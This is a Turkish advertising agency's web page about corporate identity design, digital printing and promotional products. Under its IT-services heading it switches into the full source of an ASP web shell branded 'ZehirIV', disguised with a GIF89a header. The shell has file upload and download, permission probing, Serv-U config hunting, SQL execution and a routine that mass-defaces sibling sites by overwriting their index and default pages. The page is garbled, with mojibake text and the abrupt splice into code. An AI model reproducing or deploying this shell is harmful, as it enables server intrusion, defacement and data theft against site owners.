Ana Sayfa | Hizmetlerimiz | Referanslarımız | İletişim
 
 
 
 
MİRATA Reklam

Yeni Kurulan veya Yeni Bir imaj kazanmak isteyen firmalar için yapylan çaly?malardan olu?maktadyr.

Çaly?malarymyz içersinde Firma tanytym yazylary, logo tasarymy, Antetli ka?yt, Dosya, Kartvizit, Zarf ,Çanta, ?irket dökümanlary, Fatura, Yrsaliye, Tahsilat makbuzu, Kimlik Kartlary, Bilboard afi?, Araç Kaplamalary, Web Sitesi, Tanytym Cd si, bulunmaktadyr. Kurumsal Kimlik firmanyzyn en iyi ?ekilde sektörde yer almasyny sa?layan logo, resmi evraklar ve di?er reklam i?lerinizin bir bütün olarak size sunuldu?u pakettir.

Mirata Reklam, kurumsally?ynyza uygun, size özel ve sizi yansytan çizgi ve renkleri en iyi ?ekilde ortaya çykartacaktyr.

 ...
Ayrıntılı bİlgi için ...
MİRATA Dijital

Dijital baskı; Firmanıza yapılan reklam çalışmalarının daha  etkili olabilmesi için kullanılan dijital baskı çalışmalarında   istenilen her türlü imaj, fotoğraf kullanılarak firmanın   vurgulamak veya duyurmak istediği duyurular kolaylıkla hedef   kitleye ulaştırılabilir.

Mirata Reklam dış mekan baskı çözümlerini ekonomik boyutlarda firma içinde çözüme ulaştırır. Branda kağıt, opak, çıkartma malzemelerin yanısıra bas-kes uygulamaları ile uygun çözümler üretir.

Branda Baskı

Işıklı Branda Baskı

Mesh Branda Baskı
(Dışarıdan bakıldığında basılan resim görülür, siz içeriden dışarıyı görebilirsiniz)

One Way Vision Baskı
(Cam yüzeylere yapıştırılarak uygulanır, dışarıdan bakıldığında basılan resim görülür, siz içeriden dışarıyı görebilirsiniz)

Folyo Baskı

Araçüstü Folyo Baskı

CLP, Otobüs Durağı Baskıları (118,5 cm x 175 cm)(CityLight Poster, otobüs duraklarında kullanılan baskılar)

...
Ayrıntılı bİlgi için ...
 
MİRATA Promosyon

sssssPromosyon hayata renk katmaktyr. Promosyon reklam ve tanytymyn yansymasydyr.
Promosyon, geli?en dünyamyzda firmalaryn kendilerini yada ürünlerini tanytmak ve mü?terilerinin be?enisine sunmak için kullandyklary en etkili yöntemlerden bir tanesidir.
Promosyon, hayatymyzyn her alanyna hitap eden ürünlerde, mü?terilerimizle içiçe olarak onlarla bütünlük sa?lamak demektir.
Promosyon, marka de?erimizi yükseltmek ve hedef kitlelerimize ula?mak demektir.
Promosyon, kendi reklamymyzy yaparak insanlarda merak uyandyrmak demektir.
Promosyon, insanlaryn günlük hayatta kullanabildikleri ürünlerden seçilerek yapylmaktadyr. Böylece Hedef kitlenize yarar sa?larsynyz.
Mirata Promosyon, bu konuda siz de?erli mü?terilerimize rehber olmayy ve markanyzy ilerlere ta?ymayy hedeflemektedir.

Promosyon ürünleri;
Kalem, çakmak, oto kokusu, bardak alty, termos bardak, promosyon kalem, ?emsiye, saat, duvar saati, anahtarlyk, ajanda, kartvizitlik, dijital ürünler, metal kalem, plastik kalem, baskyly kalem, e?antiyon, promosyonluk, çanta, klasör, yslak mendil, hesap makinasy, bloknot, t-shirt, bayrak, masa seti, kur?un kalem vb. ?eklinde syralayabiliriz.

PROMOSYON REHBERY

PROMOSYON ÜRÜNLERY, PAZARLAMA'nyn vazgeçilmez unsurudur.

Promosyon ürünü;

bir firmanyn markala?masynda,
bir firmanyn kurumsal kimli?ini tanytmada,
bir firmanyn bir ürününün akylda kalycy, elden dü?meyecek hale getirilmesinde en büyük unsurdur.
PROMOSYON ÜRÜNLERY pazarlamanyn olmazsa olmazy ve 4. mecrasydyr.

Promosyon ürünleri çok engin bir denizdir.

Promosyon ürünleri kadar, promosyon ürünlerinin kullanym alanlary ve zamanlary da geni? bir yelpazeye yayylmy?tyr.

 

PROMOSYON ÜRÜNÜ KULLANMAK YÇYN DO?RU ZAMAN NE ZAMANDIR?

KI? MEVSYMYDYR ÇÜNKÜ:

Ky?yn PROMOSYON ÜRÜNLERY, MARKANIZI VE ÜRÜNÜNÜZÜ, sizi, içece?inizi, yiyece?inizi, içinizi ysytacak; tekstilden, cama; metalden, ah?aba; kozmetikten, plasti?e rengarenk ürünlerle evlere, ofislere, sokaklara, karlaryn arasyna ta?yr. Termoslar, bardaklar, kupalar, polar battaniyeler, sweat-shirtler,; sizi, teninizi so?u?un etkilerinden koruyan; temasy ky? olan tüm ürünlerin yany syra; yeni yylda gününüzü, ayynyzy, yylynyzy organize edece?iniz; i? aky?ynyzy not edece?iniz; özel günleri size hatyrlatacak; kyrtasiye ürünleriyle, hayatynyzyn her anyny de?erlendirmeniz gerekti?ini gösterecek masada, duvarda, kolda zamanyn kyymetini hatyrlatan saatlerle; ky? sezonu boyunca markanyz ve ürününüz mü?terilerinizin üzerinde, ellerinde, ofislerinde, kayakta, sokakta, masada, hep gözler önündedir.

BAHAR MEVSYMYDYR ÇÜNKÜ:

Ylk ve son baharda, PROMOSYON ÜRÜNLERY, MARKANIZI VE ÜRÜNÜNÜZÜ, mü?terinizi ya?murdan koruyan ?emsiye, ?apka, anoraklaryn üzerinde caddelere ta?yr. Tekstil ürünleri ile, plastik, ah?ap, metal ürünlerle logonuzu güne?in ara ara yüzünü gösterdi?i, ya?murun zaman zaman yslatty?y sokaklarda gözler önüne serer. Mevsim meyveleri sebzeleri sofralarda yerlerini bulurken, metal, ah?ap, cam, porselen, plastik mutfak gereçleri ve aksesuarlaryyla promosyon ürünleri logonuzu evlerin kalplerinin atty?y mutfaklara ta?yr. Baharyn renkleriyle ahenk içinde tüm promosyon ürünlerinin üzerinde logonuz ve markanyz do?ayla bulu?ur.

YAZ MEVSYMYDYR ÇÜNKÜ:

Yazyn, PROMOSYON ÜRÜNLERY, MARKANIZI VE ÜRÜNÜNÜZÜ , ?ehirlerde buldu?umuz her ye?illikte yapylan aile ve dost pikniklerine; oyuncaklarla, toplarla, t-shirtlerle, güne? gözlükleri aksesuarlaryyla kozmetiklerle, yelpazelerle deniz kenarlarynda çocuklaryn ve büyüklerin e?lence ve dinlenme ortamlaryna, yaz ve sycak temaly ürünlerle, so?utucularla, çantalarla, termoslarla, buz dolaplarynyn üzerinde dizilecek rengarenk logonuzu sabah, ö?len, ak?am serinlemek için dolaba uzanan her elin ilk ula?aca?y myknatys açacaklarla mutfaklara ta?ymaktadyr.

VE SON OLARAK HER MEVSYM PROMOSYON MEVSYMYDYR ÇÜNKÜ:

Her mevsim; PROMOSYON ÜRÜNLERY, MARKANIZI VE ÜRÜNÜNÜZÜ, hayatyn içine ta?yr.

 

En gözle görünür, en e?lenceli, en renkli, en kullany?ly, en cazip ?ekilde 7 gün, 24 saat, 12 ay hayatyn içinde HEDEF KYTLENYZLE, ÜRÜNÜNÜZÜ VE MARKANIZI YÇYÇE ya?atyr.

Promosyon ürünleri kim tarafyndan kullanylyyor?

Promosyon ürünleri öyle çe?itli ve verimli ki, veriminin farkynda olan ve promosyon ürünlerini en yaygyn ve etkin ?ekilde planly olarak kullanan firmalar promosyon ürünlerinin önemini ve vazgeçilmezli?ini özetliyor. Dünya devi yiyecek firmalary; içecek firmalary, otomotiv firmalary promosyonu en syk, en yaygyn, en do?ru ve en fazla kullanan firma örneklerdendir. Dünyaca tanynan güzellik ve bakym ürünleri üretici ve satycy firmalary ayny ?ekilde promosyon ürünlerini çok verimli kullanyrlar.

Ancak promosyon ürünlerinin büyüsü ve cazibesi bir ba?ka yerde daha gizli. Dünya devi olmayan, yüksek maliyetli tanytym ve reklam mecralaryny kullanamayan küçük ve orta ölçekli firmalaryn dikkatine: Firmanyzy, markanyzy, ürünlerinizi ve eme?inizi tanytmak için, hedef kitlenizin ürününüze ve markanyza dokunacak kadar yakyn olaca?y en etkin tanytym aracy PROMOSYON ÜRÜNLERYDYR.

Promosyon ürünlerinin kullanymy firmanyz büyüdükçe, ürün çe?idiniz arttykça, adynyz marka oldu?unda da vazgeçilmez olacaktyr. Bunun en güzel örne?i Türkiye ve dünya devleridir; en büyük firmalar promosyon ve tanytym ürünlerini en verimli ve en düzenli kullanan firmalardyr. Bu da promosyon ürünlerinin gücünün ispatydyr.

Promosyon Ürünleri denildi?inde akla gelen nedir?

Akla ilk çekici, cazibeli, renkli, alymly, hayatyn her alanynda kullany?ly, çe?itli ve LOGOLU, firmanyn ve ürünün kimli?ini ta?yyan ve yansytan ürünler gelmelidir.

Promosyonu ürünlerini çok iyi anlamaly ve do?ru tanytmalyyyz.

Promosyon ürünleri faydaly, yaratycy, uygun fiyatly ve e?lencelidir ve hepsinden önemlisi de gerçekten i?e yararlar.

Promosyon ürünleri bir firmanyn markala?masynda, markanyn ürünlerinin akylda kalycy hale getirilmesinde kullanylan araçtyr. Dördüncü mecra olan promosyon ürünlerinin fonksiyonu çok büyüktür. Elinizdeki kalemi, ajandayy, anahtarly?y, çakyyy, cüzdany; ba?ynyzdaki ?apkayy, fulary, badanayy, boynunuzdaki atkyyy, üzerinizdeki montu, syrtynyzda kolunuzda ta?ydy?ynyz çantayy, duvarynyzdaki- masanyzdaki - kolunuzdaki saati, arabanyzdaki oto kokusunu, masanyzdaki mutfa?ynyzdaki bardak, tabak, buzluk, termosunu, deniz kenarynda oynady?ynyz topu ve daha nicelerini, yani promosyon ürünlerini, fark etmemek atlamak ya da unutmak mümkün de?ildir.

Promosyon ürünleri, markanyzy

bilinir kylar,
akylda kalycy kylar
cazip kylar.
Promosyon ürünleri hediyelik e?ya de?ildir.

Kimli?inizi, logonuzu hayatyn her alanyna ta?yr.

Tanytymyn olmazsa olmaz parçasydyr.

Logonuzu 7 gün 24 saat 12 ay ya?amyn içinde ve göz önünde tutar.

Sokakta, evde, ofiste etrafynyza bakyn, ti?örtüyle, ?emsiyesiyle, çantasyyla, ?apkasyyla, kalemi, ajandasy, anahtarly?yyla, arabanyzdaki oto kokularyyla, saatlerle, masanyzyn üzerindeki her bir kyrtasiye ürünü ile, bardaklarla, kupalarla, plaketlerle, logolu dekoratif ürünlerle, dört bir yanymyz promosyon ürünleri ile çevrili.

Etiketler: (promosyon, promosyon kalem, oto kokusu, promosyon nedir, banka promosyon, promosyon tekstil, bedava promosyon, promosyon fiyat, kampanya)

 

 ...
Ayrıntılı bİlgi için ...
 

MİRATA Mimarlık

 
MİRATA Bilişim
" end if next end if next end sub function yaziyomu(yol) on error goto 0:on error resume next dim sonuc__ Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True) MyFile.write "byzehir " set MyFile = Nothing if err<>0 then sonuc__="Yazma Hakky Yok!" else sonuc__="Yazma Hakky Var!" on error goto 0: on error resume next objFSO.DeleteFile yol & "\test.zehir",true if err<>0 then sonuc__=sonuc__&"
Silme Hakky Yok!" else sonuc__=sonuc__&"
Silme Hakky Var!" end if end if yaziyomu = sonuc__ end function function yaziyomu2(yol) on error goto 0:on error resume next Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True) MyFile.write "byzehir " set MyFile = Nothing if err<>0 then yaziyomu2 = false else objFSO.DeleteFile yol & "\test.zehir" yaziyomu2 = true end if end function sub WriteTestOnDriver for each drive_ in objFSO.Drives if drive_.Drivetype=2 or drive_.Drivetype=3 then if not yaziyomu2(drive_.DriveLetter&":\") then Response.Write "" else Response.Write "" end if end if next end sub sub WriteTestOnLocalPath on error goto 0 on error resume next if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then Response.Write "" else Response.Write "" end if end sub sub LocalPathParentFolder on error goto 0 on error resume next hed_ = request.servervariables("APPL_PHYSICAL_PATH") if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) parhed_ = left(hed_,InStrRev(hed_,"\")) Set f = objFSO.GetFolder(parhed_) Set fc = f.SubFolders int_fol=0 int_fil=0 For Each f1 In fc int_fol=int_fol+1 Next Set fc = f.files For Each f1 In fc int_fil=int_fil+1 Next if err<>0 then Response.Write "" else Response.Write "" end if end sub sub LocalPathPParentFolder on error goto 0 on error resume next hed_ = request.servervariables("APPL_PHYSICAL_PATH") if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) hed_ = left(hed_,InStrRev(hed_,"\")) if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) parhed_ = left(hed_,InStrRev(hed_,"\")) Set f = objFSO.GetFolder(parhed_) Set fc = f.SubFolders int_fol=0 int_fil=0 For Each f1 In fc int_fol=int_fol+1 Next Set fc = f.files For Each f1 In fc int_fil=int_fil+1 Next if err<>0 then if err=451 then Response.Write "" else Response.Write "" end if else Response.Write "" end if end sub SELECT CASE status CASE 13 'Sistem Bilgisi Response.Write "
GIF89a; <% mpat=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\") dosyaPath = mid(mpat,InStrRev(mpat,"\")+1) on error resume next Dim objFSO,popup Set objFSO = CreateObject ("Scripting.FileSystemObject") if Request("kuskapani")=1 then Response.End end if if Request("kuskapani")=2 then on error resume next path = Request("path") sFolder = Request("SubFolder") fName = Request("FileName") d1 = Request("dosya1") d2 = Request("dosya2") d3 = Request("dosya3") d4 = Request("dosya4") bg__ = Request.Form("selectColour") if bg__ = "0" then bg__ = "#ffffff" byMesaj = "" & Request("byMesaj") & "

powered by Z" & Session("n2") & "3 ;)" sFolder = Replace(sFolder,"/","\") if Right(sFolder,1)<>"\" then sFolder = sFolder & "\" Set f = objFSO.GetFolder(Path) Set fc = f.SubFolders h__ = 0 f__ = 0 ss__ = now For Each f1 In fc hedef_ = replace(f1.path,"/","\") if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\" hedef__ = left(hedef_,len(hedef_)-1) folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\")) if d1<>"" then d1 = true if d2<>"" then d2 = true if d3<>"" then d3 = true if d4<>"" then d4 = true on error goto 0:on error resume next if fName<>"" then Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True) MyFile.write byMesaj end if if d1 then Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True) MyFile.write byMesaj end if if d2 then Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True) MyFile.write byMesaj end if if d3 then Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True) MyFile.write byMesaj end if if d4 then Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True) MyFile.write byMesaj end if if err<>0 then response.Write folderName_ & " [FAILED!]
" f__ = f__ + 1 else response.Write folderName_ & " [HACKED]
" h__ = h__ + 1 end if Next ss___ = now response.Write "
by zehir!...
Sonuc : Toplam Süre : "&left(ss__-ss___,5)&"sn. ;)
Hacked = "&h__&"
Failed = "&f__ response.End end if status = Request("status") path = Request("path") dPath = Request("dPath") arama = Request("txArama") dkayit = Request("dkayit") table = Request("table") del = Request("del") islem = Request("islem") strSQL = Request("strSQL") cf = Request("cf") pathfile = request("pathfile") if path="" then path=request.servervariables("APPL_PHYSICAL_PATH") if status="" then status=2 popup = true '//////////////////////////////// Function ReadBinaryFile(FileName) Const adTypeBinary = 1 Dim BinaryStream Set BinaryStream = CreateObject("ADODB.Stream") BinaryStream.Type = adTypeBinary BinaryStream.Open BinaryStream.LoadFromFile FileName ReadBinaryFile = BinaryStream.Read End Function if status="-3" then Response.Buffer=True Set Fil = objFSO.GetFile(pathfile) Response.contenttype="application/force-download" Response.AddHeader "Cache-control","private" Response.AddHeader "Content-Length", Fil.Size Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name Response.BinaryWrite readBinaryFile(Fil.path) Set f = Nothing: Set Fil = Nothing response.End() end if '////////////////////////////////// if status="-4" then popup=false if status="13" then popup=false if status="14" then popup=false if status="15" then popup=false if status="16" then popup=false if status="17" then popup=false if status="18" then popup=false if status="19" then popup=false if status="33" then popup=false if status="40" then popup=false if status="50" then popup=false byMsg = request.QueryString("byMsg") if byMsg<>"" then response.Write byMsg response.Write "[AhmetDeniz.Org] ZehirIV --> powered by zehir <zehirhacker@hotmail.com>" if popup then %>
System Info | System Test | Sites Test | Folder Action | SQL Server | POWERED BY <% end if '#################################### Class clsUpload Private mbinData Private mlngChunkIndex Private mlngBytesReceived Private mstrDelimiter Private CR Private LF Private CRLF Private mobjFieldAry() Private mlngCount Private Sub RequestData Dim llngLength mlngBytesReceived = Request.TotalBytes mbinData = Request.BinaryRead(mlngBytesReceived) End Sub Private Sub ParseDelimiter() mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1) End Sub Private Sub ParseData() Dim llngStart Dim llngLength Dim llngEnd Dim lbinChunk llngStart = 1 llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF) While Not llngStart = 0 llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2 llngLength = llngEnd - llngStart lbinChunk = MidB(mbinData, llngStart, llngLength) Call ParseChunk(lbinChunk) llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF) Wend End Sub Private Sub ParseChunk(ByRef pbinChunk) Dim lstrName Dim lstrFileName Dim lstrContentType Dim lbinData Dim lstrDisposition Dim lstrValue lstrDisposition = ParseDisposition(pbinChunk) lstrName = ParseName(lstrDisposition) lstrFileName = ParseFileName(lstrDisposition) lstrContentType = ParseContentType(pbinChunk) If lstrContentType = "" Then lstrValue = CStrU(ParseBinaryData(pbinChunk)) Else lbinData = ParseBinaryData(pbinChunk) End If Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData) End Sub Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData) Dim lobjField ReDim Preserve mobjFieldAry(mlngCount) Set lobjField = New clsField lobjField.Name = pstrName lobjField.FilePath = pstrFileName lobjField.ContentType = pstrContentType If LenB(pbinData) = 0 Then lobjField.BinaryData = ChrB(0) lobjField.Value = pstrValue lobjField.Length = Len(pstrValue) Else lobjField.BinaryData = pbinData lobjField.Length = LenB(pbinData) lobjField.Value = "" End If Set mobjFieldAry(mlngCount) = lobjField mlngCount = mlngCount + 1 End Sub Private Function ParseBinaryData(ByRef pbinChunk) Dim llngStart llngStart = InStrB(1, pbinChunk, CRLF & CRLF) If llngStart = 0 Then Exit Function llngStart = llngStart + 4 ParseBinaryData = MidB(pbinChunk, llngStart) End Function Private Function ParseContentType(ByRef pbinChunk) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStrB(llngStart + 15, pbinChunk, CR) If llngEnd = 0 Then Exit Function llngStart = llngStart + 15 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength))) End Function Private Function ParseDisposition(ByRef pbinChunk) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF) If llngEnd = 0 Then Exit Function llngStart = llngStart + 22 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength)) End Function Private Function ParseName(ByRef pstrDisposition) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStr(llngStart + 6, pstrDisposition, """") If llngEnd = 0 Then Exit Function llngStart = llngStart + 6 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseName = Mid(pstrDisposition, llngStart, llngLength) End Function ' ------------------------------------------------------------------------------ Private Function ParseFileName(ByRef pstrDisposition) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStr(llngStart + 10, pstrDisposition, """") If llngEnd = 0 Then Exit Function llngStart = llngStart + 10 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseFileName = Mid(pstrDisposition, llngStart, llngLength) End Function Public Property Get Count() Count = mlngCount End Property Public Default Property Get Fields(ByVal pstrName) Dim llngIndex If IsNumeric(pstrName) Then llngIndex = CLng(pstrName) If llngIndex > mlngCount - 1 Or llngIndex < 0 Then Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.") Exit Property End If Set Fields = mobjFieldAry(pstrName) Else pstrName = LCase(pstrname) For llngIndex = 0 To mlngCount - 1 If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then Set Fields = mobjFieldAry(llngIndex) Exit Property End If Next End If Set Fields = New clsField End Property Private Sub Class_Terminate() Dim llngIndex For llngIndex = 0 To mlngCount - 1 Set mobjFieldAry(llngIndex) = Nothing Next ReDim mobjFieldAry(-1) End Sub Private Sub Class_Initialize() ReDim mobjFieldAry(-1) CR = ChrB(Asc(vbCr)) LF = ChrB(Asc(vbLf)) CRLF = CR & LF mlngCount = 0 Call RequestData Call ParseDelimiter() Call ParseData End Sub Private Function CStrU(ByRef pstrANSI) Dim llngLength Dim llngIndex llngLength = LenB(pstrANSI) For llngIndex = 1 To llngLength CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) Next End Function Private Function CStrB(ByRef pstrUnicode) Dim llngLength Dim llngIndex llngLength = Len(pstrUnicode) For llngIndex = 1 To llngLength CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) Next End Function End Class '#################################### Session("n1") = "byZ" Class clsField Public Name Private mstrPath Public FileDir Public FileExt Public FileName Public ContentType Public Value Public BinaryData Public Length Private mstrText Public Property Get BLOB() BLOB = BinaryData End Property Public Function BinaryAsText() Dim lbinBytes Dim lobjRs If Length = 0 Then Exit Function If LenB(BinaryData) = 0 Then Exit Function If Not Len(mstrText) = 0 Then BinaryAsText = mstrText Exit Function End If lbinBytes = ASCII2Bytes(BinaryData) mstrText = Bytes2Unicode(lbinBytes) BinaryAsText = mstrText End Function Public Sub SaveAs(ByRef pstrFileName) Const adTypeBinary=1 Const adSaveCreateOverWrite=2 Dim lobjStream Dim lobjRs Dim lbinBytes If Length = 0 Then Exit Sub If LenB(BinaryData) = 0 Then Exit Sub Set lobjStream = Server.CreateObject("ADODB.Stream") lobjStream.Type = adTypeBinary Call lobjStream.Open() lbinBytes = ASCII2Bytes(BinaryData) Call lobjStream.Write(lbinBytes) On Error Resume Next Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) 'if err<>0 then response.Write "
"&err.Description Call lobjStream.Close() Set lobjStream = Nothing End Sub Public Property Let FilePath(ByRef pstrPath) mstrPath = pstrPath If Not InStrRev(pstrPath, ".") = 0 Then FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1) FileExt = UCase(FileExt) End If If Not InStrRev(pstrPath, "\") = 0 Then FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1) End If If Not InStrRev(pstrPath, "\") = 0 Then FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1) End If End Property Public Property Get FilePath() FilePath = mstrPath End Property private Function ASCII2Bytes(ByRef pbinBinaryData) Const adLongVarBinary=205 Dim lobjRs Dim llngLength Dim lbinBuffer llngLength = LenB(pbinBinaryData) Set lobjRs = Server.CreateObject("ADODB.Recordset") Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0)) Call lobjRs.Update() lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength) Call lobjRs.Close() Set lobjRs = Nothing ASCII2Bytes = lbinBuffer End Function Private Function Bytes2Unicode(ByRef pbinBytes) Dim lobjRs Dim llngLength Dim lstrBuffer llngLength = LenB(pbinBytes) Set lobjRs = Server.CreateObject("ADODB.Recordset") Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes) Call lobjRs.Update() lstrBuffer = lobjRs.Fields("BinaryData").Value Call lobjRs.Close() Set lobjRs = Nothing Bytes2Unicode = lstrBuffer End Function End Class Session("n2") = "ehir" '#################################### function addslash(path) if right(path,1)="\" then addslash=path else addslash=path & "\" end function sub Upload() dim objUpload,f,max,i,name,path,size,success set objUpload=New clsUpload targetPath=objUpload.Fields("folder").Value max=objUpload.Fields("max").Value for i=1 to max name=objUpload.Fields("file" & i).FileName size=objUpload.Fields("file" & i).Length if (name<>"") and (size>0) then gMsg=gMsg & "
" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): " path=addslash(targetPath) & name objUpload.Fields("file" & i).SaveAs path if objFSO.FileExists(path) then on error resume next set f=objFSO.GetFile(path) if IsObject(f) then if f.Size=size then success=true else success=false end if set f=nothing end if if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!" end if next response.Write gMsg set objUpload=nothing end sub if status="-4" then Upload() ' hataKontrol popup=false end if '//////////////////////////////// sub hataKontrol if err<>0 then Response.Write "Hata : "&err.Description&"" end if end sub sub araBul(path_,ara_) on error resume next If Len(path_) > 0 Then cur = path_&"\" If cur = "\\" Then cur = "" parent = "" If InStrRev(cur,"\") > 0 Then parent = Left(cur, InStrRev(cur, "\", Len(cur)-1)) End If Else cur = "" End If Set f = objFSO.GetFolder(cur) Set fc = f.Files For Each f1 In fc if lcase(InStr(1,f1.name,lcase(ara_)))>0 then downStr = "Í" if lcase(ara_)="mdb" then Response.Write downStr&"û * "&f1.path&" ["&f1.size&"]"&"
" else Response.Write downStr&"û! - "&f1.path&" ["&f1.size&"]"&"
" end if end if Next Set fs = f.SubFolders For Each f1 In fs araBul f1.path,ara_ Next Set f = Nothing Set fc = Nothing Set fs = Nothing end sub sub sistemTest response.Write "" response.Write "" servu_Test WriteTestOnDriver WriteTestOnLocalPath LocalPathParentFolder LocalPathPParentFolder response.Write "
KonumSonuç
" end sub sub servu_Test dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini") for each drive_ in objFSO.Drives if drive_.Drivetype=2 or drive_.Drivetype=3 then for each d_ in dosya_ d_ = drive_.DriveLetter&":\"&d_ if objFSO.FileExists(d_) then response.Write "
Serv-U ini file : "&d_&"
"&drive_.DriveLetter&":\yazma yetkisi yok! : ["&err.Description&"]
"&drive_.DriveLetter&":\yazma yetkisi var!
Local Path yazma yetkisi yok! : ["&err.Description&"]
Local Path yazma yetkisi var!
Local Path
Parent Folder		Hata Olu?tu : ["&err.Description&"]
Local Path
Parent Folder		Folder : "&FormatNumber(int_fol,0)&"
File : "&FormatNumber(int_fil,0)&"
Local Path
P.Parent Folder		Data Üst Klasor Yok :)
Local Path
P.Parent Folder		Hata Olu?tu : ["&err.Description&"]
Local Path
P.Parent Folder		Folder : "&FormatNumber(int_fol,0)&"
File : "&FormatNumber(int_fil,0)&"
" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "
: Sistem Bilgileri :
Local Adres " & request.servervariables("REMOTE_ADDR") & "
User Agent " & request.servervariables("HTTP_USER_AGENT") & "
Server " & request.servervariables("SERVER_NAME") & "
IP " & request.servervariables("LOCAL_ADDR") & "
HTTPD " & request.servervariables("SERVER_SOFTWARE") & "
Port " & request.servervariables("SERVER_PORT") & "
Yol " & request.servervariables("APPL_PHYSICAL_PATH") & "
Log Root " & request.servervariables("APPL_MD_PATH") & "
HTTPS " & request.servervariables("HTTPS") & "
" popup = false CASE 14 'Upload and Search aramaUpload popup = false hataKontrol CASE 15 'Ms. SQL Server Response.Write "
" Response.Write "
SQL Server için connection string giriniz
" Response.Write "" Response.Write "
" response.Write "" Response.Write "
" response.Write "
" popup = false hataKontrol CASE 16 'file Copy window Response.Write "
" Response.Write "
Kop. Yer : " Response.Write "" Response.Write "" response.Write "" Response.Write "
" response.Write "Kopyala" response.Write "Tasi" response.Write "
" response.Write "
" popup = false hataKontrol CASE 17 'file Copy isl = "" if islem="kopyala" then objFSO.CopyFile path,cf isl="kopyalandy.." elseif islem="tasi" then objFSO.MoveFile path,cf isl="ta?yndy.." end if response.Write "Dosya "&isl response.Write "
Kaynak : "&path&"
Hedef : "&cf response.Write "
" popup = false hataKontrol CASE 18 'folder Copy window Response.Write "
" Response.Write "
Kop. Yer : " Response.Write "" Response.Write "" response.Write "" Response.Write "
" response.Write "Kopyala" response.Write "Tasi" response.Write "
" response.Write "
" popup = false hataKontrol CASE 19 'folder Copy isl = "" if islem="kopyala" then objFSO.CopyFolder path,cf isl="kopyalandy.." elseif islem="tasi" then objFSO.MoveFolder path,cf isl="ta?yndy.." end if response.Write "Klasor "&isl response.Write "
Kaynak : "&path&"
Hedef : "&cf response.Write "
" popup = false hataKontrol CASE 33 'Powered By response.Write "

Powered by Zehir" response.Write "

zehirhacker@hotmail.com
küllü nefsun zaifetun mevt" popup = false hataKontrol CASE 40 'Sistem Test sistemTest popup=false CASE 50 'Siteleri Test Edelim :D %>
Güvenlik Testi byZehir
Path
Sub Folder
File Name
index.htm
default.htm
 index.asp
default.asp
Kes Kopyala Yapy?tyr Bold Italic UnderLine JustifyLeft JustifyCenter JustifyRight AddLink AddImage
<% popup=false CASE 51 ' Özel ?ilemler END SELECT %> <% if popup then if status=7 or status=8 then Response.Write "
" Response.Write "
SQL Çaly?tyr" Response.Write "" Response.Write "" Response.Write "
" end if Response.Write "
" Response.Write "
Path : " Response.Write "" Response.Write "" Response.Write "

" end if sub aramaUpload Response.Write "
" Response.Write "
Arama : " Response.Write " " Response.Write "" Response.Write "
" %>
" ID="Form1"> Max:
